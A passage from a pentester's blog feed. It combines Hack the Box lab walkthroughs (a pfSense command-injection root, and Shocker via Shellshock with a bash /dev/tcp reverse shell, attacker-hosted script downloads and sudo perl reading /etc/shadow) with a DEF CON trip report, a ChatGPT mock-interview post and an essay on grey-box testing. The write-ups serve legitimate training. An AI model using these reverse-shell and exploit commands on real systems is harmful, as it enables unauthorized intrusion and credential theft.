<span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-comment"># Exploit Title: pfSense &lt;= 2.1.3 status_rrd_graph_img.php Command Injection.</span>
<span class="hljs-comment"># Date: 2018-01-12</span>
<span class="hljs-comment"># Exploit Author: absolomb</span>
<span class="hljs-comment"># Vendor Homepage: https://www.pfsense.org/</span>
<span class="hljs-comment"># Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/</span>
<span class="hljs-comment"># Version: &lt;=2.1.3</span>
<span class="hljs-comment"># Tested on: FreeBSD 8.3-RELEASE-p16</span>
<span class="hljs-comment"># CVE : CVE-2014-4688</span>
</code></pre>
<h3 id="heading-exploitation-and-root-access"><strong>Exploitation and Root Access</strong></h3>
<p>The script exploited the vulnerability 'pfSense &lt;= 2.1.3 status_rrd_graph_img.php Command Injection.' After setting up a listener, the script was executed to gain root access:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Start Listener</span>
nc -nlvp 7777

<span class="hljs-comment"># Run Exploit</span>
python /home/htb-ragab0t/43560.py --rhost <span class="hljs-variable">$TGT</span> --lhost <span class="hljs-variable">$LHOST</span> --lport 7777 --username rohit --password pfsense
</code></pre>
<p>The successful execution of the exploit granted root access to the target system:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Confirming Root Access</span>
whoami
root
<span class="hljs-comment"># Checking User ID</span>
id
uid=0(root) gid=0(wheel) groups=0(wheel)
</code></pre>
<p>And that's it for now. Until next time :)</p>
<p>~Ragab0t 🤖</p>
<p>PS: If you're eager to dive into the art of hacking techniques, I highly recommend joining me on Hack the Box Academy through my <a target="_blank" href="https://referral.hackthebox.com/mzwP1Mn">referral link</a>. Let's level up our skills together. See you there!</p>
]]></content:encoded></item><item><title><![CDATA[I went to DEF CON for the first time and it was awesome!]]></title><description><![CDATA[TLDR; It was awesome. See Also: My Takeaways ;)
Alright, after many years of planning to go to DEF CON I finally got to go for the first time and it was an amazing experience. So while I know there are many many posts and blogs about this but I wante...]]></description><link>https://blog.ragab0t.com/i-went-to-def-con-for-the-first-time-and-it-was-awesome</link><guid isPermaLink="true">https://blog.ragab0t.com/i-went-to-def-con-for-the-first-time-and-it-was-awesome</guid><category><![CDATA[defcon]]></category><category><![CDATA[hacking]]></category><category><![CDATA[defcon31]]></category><dc:creator><![CDATA[Luis Diego Raga]]></dc:creator><pubDate>Sun, 20 Aug 2023 09:04:46 GMT</pubDate><content:encoded><![CDATA[<p><strong>TLDR</strong>; It was awesome. See Also: My Takeaways ;)</p>
<p>Alright, after many years of planning to go to DEF CON I finally got to go for the first time and it was an amazing experience. So while I know there are many many posts and blogs about this but I wanted to share my experience too. Who knows it might be helpful for another first-timer in the future.</p>
<p>I arrived on Tuesday night to Vegas, it was not only my first time going to DEF CON but also my first time in Vegas, so it was an interesting experience. Some friends from Costa Rica and I stayed at the Rio Hotel. The hotel was nice, we didn't get to see the pool or any other amenities, but the price was fair compared to other hotels in the area. Now, the biggest downside was that we had to Uber all the time, and while the hotel was technically within walking distance of the Ceasar's Forum, walking in the dry heat of Vegas isn't that fun (especially if you are like me, who starts sweating 2.3 seconds after I start any physical activity). So all our potential savings were spent taking Ubers back and forth (and probably even more).</p>
<p>We used Wednesday to meet with some friends, take a look around, and visit some of the major Hotels like the Bellagio, Ceasars, Paris, etc. do some grocery shopping and get things ready for the con. We also attempted to attend a BlackHat party hosted by our company, but thanks to our costarican logic, we got there one hour late and they were already at max capacity, so we couldn't get in. In Costa Rica you never show up to a party on time, you always show up an hour or two later (e.g. if the party starts at 7 pm, 8:30-9 pm is the perfect time to arrive). Apparently, this is not only a costarican thing, but a Hispanic thing, if you don't believe me Google "when you arrive to a Hispanic party on time" and you'll see plenty of TikToks about this. Anyways, since we couldn't make it to the party, we headed out to TopGolf and had an amazing time there, especially since none of us had ever touched a golf club in our lives. 100% recommended.</p>
<p>Thursday morning we headed out to the con (Finally YAY!). Thanks to a friend who had two tickets I managed to get hold of an online registration ticket, I walked in by 9 am and there was zero line for the pre-registered attendees. The cash-only line was around 1hr long based on what other people told me. From there I went to the merch line, long story short I was in line for three hours, by 1 hour and 40 minutes I was ready to give up but I felt like I was so close that I decided not to. I ended up buying 3 shirts, 2 glass shots, and a couple of extra shirts for friends that hadn't arrived yet. Next year, I might skip the merch line or have one of my friends get me a t-shirt in return.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692517864986/53abbfb3-69f4-4f19-a7cc-529a2487280a.jpeg" alt="T-3 Hours " class="image--center mx-auto" /></p>
<p>That day was mostly merch line and a couple of talks at the main tracks, one of which was a DEF CON 101 Panel. That was very insightful. One of the things they talked about was about "making the con your own con". That struck me as I was used to going to conferences but in a more corporate environment, where you are expected to be at talks every single minute and God forbids you to miss a talk or spent your time doing something "unproductive".</p>
<p>As a Web App Pentester, with plans to also start doing some network pentests soon, my original plan was to spend most of my time at the Red Team and AppSec Villages, but that evening my plan changed drastically. After watching the DEF CON 101 talk, I decided that I was gonna try to spend most of my time doing things I didn't have access to back at home. Namely things like the Lockpicking, Physical Security and Social Engineering Villages.</p>
<p>I also came up with my own 3-2-1 rule (if you've been to DEF CON you know what the 3-2-1 rule means). I wanted to at least do 3 different things every day, it could be a talk, workshop, activity or contest, plan my day in chunks of 2 hours, and make at least 1 new friend every day.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692522486743/b7ff7226-2f0d-4fa1-a8b5-35ebfba7115e.jpeg" alt class="image--center mx-auto" /></p>
<p>And that's how Days 2 and 3 of the conference went. I spent a good couple of hours watching the Social Engineering masters doing their thing at the SE Village contest(one of my favorite things), I spent some time at the Lockpicking Village learning how to pick different types of locks, then moved on to the Physical Security Village and learned how to open doors and bypass security controls(also one of my favorites so far) and then I spent some time at the BioHacking Village learning about security and hacking of medical devices (also one of my favorites... question if everything becomes your favorite are they even called favorites anymore ? Food for thought...).</p>
<p>For the one activity I had signed up for at the Red Team Village, I ended up playing CTF. I thought I had signed up for an OSINT workshop but it ended up being an OSINT CTF instead. It was fun. I also happened to meet people that I admire while I was there, so even though there was no workshop for me, it was totally worth it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692518167779/f23d403b-a4f5-4437-860f-d6775ae9715a.jpeg" alt class="image--center mx-auto" /></p>
<p>On that same topic, and I know everyone talks about it, but the networking component of the con played an important role to me. The technical stuff you can probably learn at home by yourself but when it comes to meeting people and making new connections nothing beats the "in real life" mode. I came home feeling really satisfied about all the people I met and the friends I made (and for those wondering, yes I did manage to make at least one new friend per day ;) )</p>
<p>Finally, at the end of my last day I stopped by the Vendor area and got myself some cool stuff (I then ordered even more cool stuff from some vendors after I got home)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692519790891/bd957651-db87-4b14-bd00-9bd2fe0b8257.jpeg" alt class="image--center mx-auto" /></p>
<p>Sunday Morning my flight was scheduled to leave at 6 am, and while I wanted to stay for more fun activities, it was time to go. My feet were sore like never before from the 20K+ steps I had put in every day that week. Even though I'm in good shape and I wore what I thought were comfortable shoes, they turned out to be not so comfortable after a few hours of walking.</p>
<p>Fifteen hours later I made it home (yes, 15, with an exciting 6-hour layover) and after spending some time with my family, I was ready to book my flights and hotels for DEF CON 32. I just needed to wait for the dates to be announced (Update: The dates have been announced already Aug 8th - Aug 11th, 2024 :) )</p>
<p><strong>My takeaways</strong></p>
<ul>
<li><p>Staying close to the conference might end up being cheaper since you won't have to use Uber that much.</p>
</li>
<li><p>If you are not a fan of waiting in line, get the online tickets and skip the merch line.</p>
</li>
<li><p>If you plan to go to a party, be there early :)</p>
</li>
<li><p>Step out of your comfort zone, try new stuff, and do things you'd never done before and that you can't easily do at home.</p>
</li>
<li><p>Plan your day in chunks of two hours. With all the walking, the lines, the talking and everything that's going on you will end up frustrated if you try to stick to a one-hour per-activity schedule.</p>
</li>
<li><p>Wear super extra comfortable shoes, gym shoes I would say.</p>
</li>
<li><p>Meet people, don't be afraid to introduce yourself.</p>
</li>
</ul>
<p>Alright, that's it for now. Until next time :)</p>
]]></content:encoded></item><item><title><![CDATA[I asked ChatGPT to interview me for a Pentester position and this how it went.]]></title><description><![CDATA[As part of my role I regularly interview people and have a pool of questions that I ask during technical interviews, so trying to diversify a little I thought it was a good idea to ask ChatGPT to give me some scenario-based questions and then ask fol...]]></description><link>https://blog.ragab0t.com/i-asked-chatgpt-to-interview-me-for-a-pentester-position-and-this-how-it-went</link><guid isPermaLink="true">https://blog.ragab0t.com/i-asked-chatgpt-to-interview-me-for-a-pentester-position-and-this-how-it-went</guid><category><![CDATA[pentesting]]></category><category><![CDATA[chatgpt]]></category><category><![CDATA[interview questions]]></category><dc:creator><![CDATA[Luis Diego Raga]]></dc:creator><pubDate>Mon, 30 Jan 2023 04:23:44 GMT</pubDate><content:encoded><![CDATA[<p>As part of my role I regularly interview people and have a pool of questions that I ask during technical interviews, so trying to diversify a little I thought it was a good idea to ask ChatGPT to give me some scenario-based questions and then ask follow up questions based on my answers. In a couple of cases, I asked it to provide its answer as well and the results were pretty interesting. Here is an extract from our conversation:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675050109980/672ec26d-609d-4654-afb3-60ee17479991.png" alt class="image--center mx-auto" /></p>
<p>I gave it my answer and then it came back with some follow-up questions:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675050233405/1dec27fc-ae90-4111-be0f-154200fb841a.png" alt class="image--center mx-auto" /></p>
<p>I did that one more time:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675050285520/51e18c4e-18ed-43d8-8625-63f2a1de233a.png" alt class="image--center mx-auto" /></p>
<p>And one more:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675050312207/8c6f5aa2-ed2a-48d1-843e-9f325762048a.png" alt class="image--center mx-auto" /></p>
<p>Now this time, I told it that I didn't have an answer for question #4, and asked how it would respond to that question. Here's the answer:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675050371486/ab66d861-c6ad-49c8-b6c4-d82208deb82c.png" alt class="image--center mx-auto" /></p>
<p>Which sounds like a reasonable answer to me.</p>
<p>I then asked it to provide answers to its questions so I could compare them with my answers (so far I was Acing the interview or so I thought, read until the end...)</p>
<p>One thing that went wrong the first time I asked this was that the AI tried to use my answers as part of its answers. I asked a second time and asked specifically not to do this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675050632264/c71e2211-0e24-4a1d-ba67-5697d5c5356a.png" alt class="image--center mx-auto" /></p>
<p>I was satisfied with the results so far, so I asked to restart the exercise with another scenario. This is how it went this time:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675050712221/d660e3f0-469f-4f67-8248-f4985c249116.png" alt class="image--center mx-auto" /></p>
<p>Once again, I kept on getting follow up questions as I answered its questions:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675050918466/3a8aed91-4091-4de3-9065-688de2113aaa.png" alt class="image--center mx-auto" /></p>
<p>And since I wasn't very sure about #2, I asked it to explain that one to me:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675050967684/ad34720f-07c4-4d88-9304-942801791552.png" alt class="image--center mx-auto" /></p>
<p>We had a few more interactions and then I finally asked ChatGPT how I did and if it would hire me as a Pentester 😬 ?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675051075488/697dd589-d8cd-4b7c-b89e-3cdc792bb8d0.png" alt class="image--center mx-auto" /></p>
<p>I guess that "<em>some basic understanding of the process and techniques involved in penetration testing</em>" would have to do for me. I hope my current employer would not let a machine influence their past decision of hiring me as pentester... #toolate</p>
<p>The Lesson Learned here is that ChatGTP might be a good partner when preparing for interviews, certification exams and to pretty much test your knowledge in every major field out there.</p>
<p>Also, we all know that AIs or at least some type of automation already play a role when it comes to hiring. Do you see yourself being interviewed by an AI in the near future? Let me know your thoughts in the comments section below.</p>
<p>As a bonus, here is an AI-generated picture of ChatGTP interviewing me (this image was generated by Midjourney, an art creation AI which you might wanna check if you haven't done it already). I have to accept that I look a little different (better of course) but that's just because this AI hasn't had the pleasure to meet me in person 😅</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1675051417900/25763375-120b-47e4-a6f3-3bd7f5c2b296.png" alt class="image--center mx-auto" /></p>
<p>Have fun.</p>
<p>Ragab0t</p>
]]></content:encoded></item><item><title><![CDATA[Why you should get a grey box pentest instead of a black box pentest]]></title><description><![CDATA[It's that time of the year where you are looking for a pentesting company to execute a penetration test on your network and you are trying to assess how much information you should provide to the penetration testing company. A question that I often h...]]></description><link>https://blog.ragab0t.com/grey-box-vs-black-box-pentesting</link><guid isPermaLink="true">https://blog.ragab0t.com/grey-box-vs-black-box-pentesting</guid><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Luis Diego Raga]]></dc:creator><pubDate>Sat, 12 Feb 2022 07:31:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/sL2BRR1cuvM/upload/v1644649834400/pFpGQ-MWA.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>It's that time of the year where you are looking for a pentesting company to execute a penetration test on your network and you are trying to assess how much information you should provide to the penetration testing company. A question that I often hear is "Should I get a black box or a grey box pentest?" </p>
<p><strong>TL;DR</strong>: Get a grey box pentest. </p>
<p>On this blog I'll try to convince you about why you should consider the grey box approach instead of the black box approach. </p>
<p>Here are in my opinion, the top 5 reasons why you should go with the grey box pentest: </p>
<h4 id="heading-1-money">1. Money</h4>
<p>Yes, you heard that, money. Penetration Testing services aren't exactly cheap, so you wanna get the most out of the penetration tester's time, and you want them to try to identify (and exploit) as many weak points as they possibly can within their given time frame. So, do you really want your penetration testing company spending time on researching your people on Linkedin, StackOverflow, looking for recent acquisitions and trying to identify your AWS IP address space? Not really. </p>
<p>Customer: But wait, isn't that what a cyber criminal would do? They would start with zero information about my company, I want my pentest to be as close as possible to what a real attack would look like. </p>
<p>Pentester: OK, so does that mean that you have unlimited money for this project? </p>
<p>Customer: Of course not. </p>
<p>Pentester: OK, then you don't want a black box pentest. </p>
<p>Customer: I don't understand what do you mean by unlimited money? </p>
<p>Pentester: You do realize we charge by the hour right? </p>
<p>Customer: OK I see...</p>
<p>The bottom line is, pentests are scoped (and quoted) based on the amount of work that they will require from the penetration testing company and this is tied to the amount of time that the company will need to complete the pentest, but still that does not mean that pentest companies have unlimited time, which takes us to the second reason: </p>
<h4 id="heading-2-time">2. Time</h4>
<p>A penetration test is like any other project, bounded by time and resources. Pentesters are given a time frame to complete a pentest, typically a week or two. Because of this you want to facilitate some information to your pentesters so you save them some time. The main reason for this is, unlike attackers, penetration testers do not have unlimited time to complete a project (unless you have unlimited budget, see reason 1, Do you have unlimited money for this project?). </p>
<p>Pentesters even need to set time aside for the most exciting part  of any penetration test which is creating that awesome report that you are going to share with your CISO. (Sometimes this part is scoped separately, sometimes it is not)</p>
<h4 id="heading-3-insider-threats">3. Insider Threats</h4>
<p>Attacks can also come from within your network (surprise surprise) and I am not necessarily talking about the infamous "Disgruntled Employee", a.k.a. Jeff , former IT member seeking revenge because the got fired right before Christmas. I am taking about Carol from payroll who accidentally clicked on a pop up from a "Virus Alert" and just generated a reverse shell to an EC2 instance pwned by some guy based out Ukraine or Carlos Roberto, who accidentally entered his network credentials on a phishing site that looked just like the employees portal, or Arturo who reused his old LinkedIn password for his corporate login, the same password that got leaked by LinkedIn back in 2016. </p>
<p>In summary, threats can also come from within your network, they could come from trusted partners, recent acquisitions or pretty much any employee. Attackers could already posses low privilege users before they even get started, so why wouldn't you give the same advantage to the company that you are going to trust to analyze your network security?</p>
<h4 id="heading-4-criticalforgotten-assets">4. Critical/Forgotten Assets</h4>
<p>OK you chose the blackbox route  and your blackbox pentest is done, the penetration testing company couldn't get passed your DMZ (do people still use DMZs?, I feel kinda old by even mentioning it... well you get the point, they didn't get passed your externally facing assets). Every externally facing asset is properly hardened which means you Aced this pentest right? </p>
<p>Well, not so fast. What about your critical assets? Perhaps those that sit behind the firewall? Are they properly hardened? How about that one server that that you stood up last year when your cloud provider went down and that's still connected to your network via VPN but the pentester failed to find within that one week time frame (I know, sometimes we miss things too :) ) </p>
<p>Again it goes back to getting the best out of the pentester's time. You wanna make sure that those assets that are critical to the operation are not missed and the only way to ensure that is by providing these pieces of information to the pentesting company.  </p>
<h4 id="heading-5-missed-attack-vectors">5. Missed attack vectors</h4>
<p>Alright your time's up Mr. Pentester, it's time to start working on that report (Yay!). A week went by, and with the exception of some medium and low severity findings (missing security headers, lack of rate limits, etc) not a lot was found, yet the pentester missed that the employees portal allowed any valid user to become an admin and therefore execute commands on the server. The reason why this was missed was because he was never given a valid low level user to poke around. </p>
<p>The same concept could apply to other attack vectors such as OS privilege escalations or vulnerabilities that are visible only to authenticated users.  </p>
<p>If you wanna make sure that you covered all your bases you might want to share a little more information (e.g. low level users for your web applications, low level user Postman collections for your APIs etc. )</p>
<h4 id="heading-6-bonus">6. Bonus</h4>
<p>Customer: So, if you are as good as those black hats out there, why do you need this much information? Do u 3v3n kn0w h0w to h4ck? </p>
<p>Pentester: With all the respect, are you testing our skills or are we trying to help you identify potential issues with your network? </p>
<p>Cutomer: The latter. </p>
<p>Pentester: OK that's what I thought. </p>
<p>Note: If this is the reason why you think you need a black box pentest as opposed to a grey box pentest, then you have the wrong approach to pentesting altogether and you might want to consider looking for another pentesting company that you or someone close to you trusts. </p>
<h4 id="heading-wrap-up">Wrap Up</h4>
<p>Penetration test should NOT to try to emulate full blown attack against your infrastructure, attackers have unlimited time and resources, pentesters don't. Instead, a pentest should allow you to reduce your attack surface by identifying issues that can be exploited and focus on those things that matter to your operation while getting the best out of your money. </p>
<p>I hope this was helpful.  </p>
<p>BTW you feel like buying me a beer, please knock yourself out:</p>
<p><a target="_blank" href="https://www.buymeacoffee.com/Ragab0t">Buy me a beer</a></p>
<p>Happy Hacking!</p>
<p>~Ragab0t 🤖</p>
]]></content:encoded></item><item><title><![CDATA[Hack the Box - Shocker Walk-through]]></title><description><![CDATA[Disclaimer
 This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn ...]]></description><link>https://blog.ragab0t.com/htb-shocker</link><guid isPermaLink="true">https://blog.ragab0t.com/htb-shocker</guid><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Luis Diego Raga]]></dc:creator><pubDate>Sun, 23 May 2021 00:43:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1621643948716/2HRoUC7BF.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-disclaimer">Disclaimer</h1>
<p> This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethical hacking and penetration testing.  </p>
<p>You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.</p>
<h1 id="heading-hello-everyone">Hello Everyone!</h1>
<p>Today we are going to look the steps I followed to get root on Shocker, a vulnerable machine on  <a target="_blank" href="https://www.hackthebox.eu">Hack the Box</a>. Hack The Box is an online platform allowing you to test and advance your skills in cyber security. </p>
<p>Before we start, some terminology:</p>
<p><strong>Attacker Machine</strong>: typically your Kali, Parrot, etc machine that you use to connect to the HTB Lab. In this example I'm using an IP address of <strong>10.10.14.17.</strong>  Notice that in the case of Hack the box this IP will change since it is assigned by the VPN server which assigns an IP on the 10.10.x.x network. </p>
<p><strong>Target Machine</strong>: the machine we are attacking (notice that this is a lab environment we do have express permission to attack this machine). The IP address for the target machine is <strong>10.10.10.56</strong> </p>
<h3 id="heading-fingerprinting-scanning-and-enumeration">Fingerprinting, Scanning and Enumeration</h3>
<p>I started analyzing this box with a Service and Default Scripts nmap Scan: </p>
<pre><code><span class="hljs-selector-tag">nmap</span> <span class="hljs-selector-tag">-sSVC</span> 10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.56</span>
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621644238581/mgSMw3lwj.png" alt="nmap.png" /></p>
<p>SSH was running on port 2222, not extremely unusual, but not the standard port either. I started looking at the ssh version and then looked for some exploits since it seemed to be affected by <a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2016-6210">CVE-2016-6210</a>. </p>
<p>The Searchploit results looked promising: </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621644807471/GhT8uBdsH.png" alt="searchsploit.png" /></p>
<p>There is an <a target="_blank" href="https://www.exploit-db.com/exploits/40113">Exploit </a>  on exploit DB an even a Metasploit auxiliary module, but after trying this route for a good while it turned out to be a dead end. </p>
<p>I moved on to port 80. </p>
<p>After checking port 80, I found the following web site. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621730768228/dvwrZgioj.png" alt="website.png" /></p>
<p>Now the name of the box itself plus the "Don't Bug Me" kinda gave me an idea of what I was looking for (it looked like I was looking for a "Shocking" bug? ) </p>
<p>I started Fuzzing some directories with ffuf: </p>
<p><strong>TIP</strong>: Right before you start working on the machine add the IP of the victim as a variable (I use TGT for TARGET and ATT for ATTACKER), that way you can easily copy/paste from your cheat sheet without having to modify anything. For example as I began working on this box I added the following: </p>
<pre><code><span class="hljs-attribute">export</span> TGT=<span class="hljs-number">10.10.10.56</span>
</code></pre><p>Then I added this variable I was getting ready to fire ffuf: </p>
<pre><code>export wordlist<span class="hljs-operator">=</span><span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>share<span class="hljs-operator">/</span>wordlists<span class="hljs-operator">/</span>dirbuster<span class="hljs-operator">/</span>directory<span class="hljs-operator">-</span>list<span class="hljs-number">-2.3</span><span class="hljs-operator">-</span>medium.txt
</code></pre><p>Finally all I had to do was copy the following line from my cheatsheet: </p>
<pre><code><span class="hljs-attribute">ffuf</span> -w <span class="hljs-variable">$wordlist</span> -u http://<span class="hljs-variable">$TGT</span>/FUZZ -o output.txt -replay-proxy http://127.0.0.1:8080 -e <span class="hljs-string">"/"</span>
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621718868689/ubRtcVz_k.png" alt="ffuf2.png" /></p>
<p>The results from ffuf didn't reveal much with the exception of the /cgi-bin/ folder which responded back with a 403 Forbidden. </p>
<p>I decided to look into this folder a little more. I added some common CGI file extensions and used a new wordlist this time. (I have to admit that at some point I was stuck for hours and I had to look for a hint. I wasn't using the right set of file extensions at first, I had no idea that CGIs could use a .sh extension.  TIL ... ;)) </p>
<p>The following URL responded with a 200 OK </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621716623140/y_IGf5Pou.png" alt="image.png" /></p>
<p>I decided to check it out and found the following page: </p>
<p>http://10.10.10.56/cgi-bin/user.sh</p>
<p>This appeared to be a simple shell script that checked the system's load.  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621729002298/ImW4GUNfu.png" alt="user-sh.png" /></p>
<p>Now the name of the machine is already a hint, so to confirm what I suspected I ran nitko against that URL using the -CGIDir parameter: </p>
<pre><code>nikto <span class="hljs-operator">-</span>host $TGT <span class="hljs-operator">-</span>Cgidirs <span class="hljs-operator">/</span>cgi<span class="hljs-operator">-</span>bin<span class="hljs-operator">/</span>user.sh
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621717880692/hVh2ZqOcT.png" alt="nikto.png" /></p>
<p>Nikto confirmed what I suspected, the URL under /cgi-bin/ is vulnerable to  <a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2014-6271">ShellShock</a>  (hence the name of the machine) </p>
<h3 id="heading-exploitation">Exploitation</h3>
<p><strong>Manual Exploit</strong></p>
<p>After a quick search on EDB I found the following exploit: </p>
<p>Apache mod_cgi - 'Shellshock' Remote Command Injection</p>
<p>https://www.exploit-db.com/exploits/34900</p>
<p>So, after reviewing the exploit I decided to run it:</p>
<pre><code>python <span class="hljs-number">34900</span>.py payload<span class="hljs-operator">=</span>reverse rport<span class="hljs-operator">=</span><span class="hljs-number">8</span> lhost<span class="hljs-operator">=</span><span class="hljs-number">10.10</span><span class="hljs-number">.14</span><span class="hljs-number">.7</span> lport<span class="hljs-operator">=</span><span class="hljs-number">9999</span> pages<span class="hljs-operator">=</span><span class="hljs-operator">/</span>cgi<span class="hljs-operator">-</span>bin<span class="hljs-operator">/</span>user.sh rhost<span class="hljs-operator">=</span><span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.56</span>
</code></pre><p>And boom, there's my user access (and flag):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621717798899/HTFWi9OZ6.png" alt="exploit.png" /></p>
<p><strong> Metasploit Module </strong> </p>
<p>As with many other exploits Metasploit has a  <a target="_blank" href="https://www.rapid7.com/db/modules/exploit/multi/http/apache_mod_cgi_bash_env_exec/">Module</a>  to exploit this vulnerability, so I decided to give it a try too:  </p>
<pre><code>msfconsole
use exploit<span class="hljs-operator">/</span>multi<span class="hljs-operator">/</span>http<span class="hljs-operator">/</span>apache_mod_cgi_bash_env_exec
set TARGETURI <span class="hljs-operator">/</span>cgi<span class="hljs-operator">-</span>bin<span class="hljs-operator">/</span>user.sh
set RHOST <span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.56</span>
set Payload <span class="hljs-operator">/</span>linux<span class="hljs-operator">/</span>x86<span class="hljs-operator">/</span>shell<span class="hljs-operator">/</span>reverse_tcp
set LHOST <span class="hljs-number">10.10</span><span class="hljs-number">.14</span><span class="hljs-number">.7</span>
set LPORT <span class="hljs-number">7777</span>
run
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621718743769/gthA7fHMJ.png" alt="metasploit.png" /></p>
<p>And that also worked pretty well. </p>
<h3 id="heading-privilege-escalation">Privilege Escalation</h3>
<p><strong>PE Route 1: Manual Exploitation </strong></p>
<p>I didn't really like the shell generated by the manual exploit so I switched to a regular reverse shell with bash: </p>
<pre><code><span class="hljs-attribute">nc</span> -nlvp <span class="hljs-number">7000</span>
</code></pre><pre><code>bash <span class="hljs-operator">-</span>i <span class="hljs-operator">&gt;</span><span class="hljs-operator">&amp;</span> <span class="hljs-operator">/</span>dev<span class="hljs-operator">/</span>tcp<span class="hljs-operator">/</span><span class="hljs-number">10.10</span><span class="hljs-number">.14</span><span class="hljs-number">.7</span><span class="hljs-operator">/</span><span class="hljs-number">7000</span> <span class="hljs-number">0</span><span class="hljs-operator">&gt;</span><span class="hljs-operator">&amp;</span><span class="hljs-number">1</span>
</code></pre><p>Once that was done I downloaded my "Linux Privilege Escalation Bundle" (Linpeas.sh, LinEnum.sh and LSE.sh):</p>
<pre><code>cd <span class="hljs-operator">/</span>tmp
export ATT<span class="hljs-operator">=</span><span class="hljs-number">10.10</span><span class="hljs-number">.14</span><span class="hljs-number">.7</span>
wget <span class="hljs-string">"http://$ATT/files/Linpeas.sh"</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> wget <span class="hljs-string">"http://$ATT/files/LinEnum.sh"</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> wget <span class="hljs-string">"http://$ATT/files/LSE.sh"</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> chmod <span class="hljs-operator">+</span>x <span class="hljs-operator">*</span>.sh <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> ls <span class="hljs-operator">-</span>la
</code></pre><p>I only ended running LSE.sh since it identified something that caught my attention: </p>
<pre><code>User shelly may run the following commands on Shocker:
    (root) NOPASSWD: <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>perl
</code></pre><p>Which meant that perl scripts or one liners could be run as root without the need of a password.  </p>
<p>You can manually verify the output of the LSE script by issuing the sudo -l command </p>
<pre><code><span class="hljs-attribute">sudo</span> -l
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621729468738/WhwkbLC4u.png" alt="sudo.png" /></p>
<p>I tested this with a few commands: </p>
<p>First, I ran the he following Perl command which prints the first field of the /etc/passwd </p>
<pre><code>perl <span class="hljs-operator">-</span>F: <span class="hljs-operator">-</span>lane <span class="hljs-string">'print $F[0]'</span> <span class="hljs-operator">/</span>etc<span class="hljs-operator">/</span>passwd
</code></pre><p>Now, this was something that the user Shelly could already access, so no secrets there. </p>
<p>Then I ran the same command but for the /etc/shadow.  </p>
<pre><code>perl <span class="hljs-operator">-</span>F: <span class="hljs-operator">-</span>lane <span class="hljs-string">'print $F[1]'</span> <span class="hljs-operator">/</span>etc<span class="hljs-operator">/</span>shadow
</code></pre><p>Here is the output of those two commands: </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621723342467/GqO-Uigsg.png" alt="perl1.png" /></p>
<p>And as expected I got a permission denied for the /etc/shadow, since regular users shouldn't have access to it. </p>
<p>Now let's try with sudo </p>
<pre><code>sudo perl <span class="hljs-operator">-</span>F: <span class="hljs-operator">-</span>lane <span class="hljs-string">'print $F[0]'</span> <span class="hljs-operator">/</span>etc<span class="hljs-operator">/</span>shadow
sudo perl <span class="hljs-operator">-</span>F: <span class="hljs-operator">-</span>lane <span class="hljs-string">'print $F[1]'</span> <span class="hljs-operator">/</span>etc<span class="hljs-operator">/</span>shadow
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1621723404880/dZcgxEdcz.png" alt="perl2.png" /></p>
<p>The fact that I was able to read the shadow file (F0 is the user and F1 the password's hash), confirmed that I could run commands as root.  </p>
